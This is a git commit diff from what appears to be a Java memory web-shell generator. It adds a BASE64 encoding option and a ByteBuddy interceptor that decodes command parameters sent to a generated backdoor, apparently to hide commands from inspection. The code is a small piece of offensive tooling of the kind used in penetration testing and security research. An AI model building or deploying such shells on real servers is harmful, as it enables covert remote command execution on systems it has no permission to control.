feat: support command base64 encryptor

generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java

@@ -91,12 +91,15 @@ public class CommandConfig extends ShellToolConfig {
     }
 
     public enum Encryptor {
-        RAW, DOUBLE_BASE64;
+        RAW, BASE64, DOUBLE_BASE64;
 
         public static Encryptor fromString(String encryptor) {
             if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
                 return DOUBLE_BASE64;
             }
+            if (encryptor != null && encryptor.equals("BASE64")) {
+                return BASE64;
+            }
             return RAW;
         }
     }

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/Base64ParamInterceptor.java

@@ -0,0 +1,16 @@
+package com.reajason.javaweb.memshell.generator.command;
+
+import com.reajason.javaweb.utils.ShellCommonUtil;
+import net.bytebuddy.asm.Advice;
+
+/**
+ * @author ReaJason
+ * @since 2025/4/27
+ */
+public class Base64ParamInterceptor {
+
+    @Advice.OnMethodExit
+    public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
+        returnValue = ShellCommonUtil.base64DecodeToString(param);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

@@ -42,6 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
                     .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
                     .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
         }
+        if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
+            builder = builder
+                    .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
+                            shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
+                    .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
+                    .withParameters(String.class)
+                    .throwing(Exception.class)
+                    .intercept(FixedValue.nullValue())
+                    .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
+                    .visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
+        }
         if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
             builder = builder.visit(Advice.withCustomMapping()
                     .bind(TemplateAnnotation.class, shellToolConfig.getTemplate())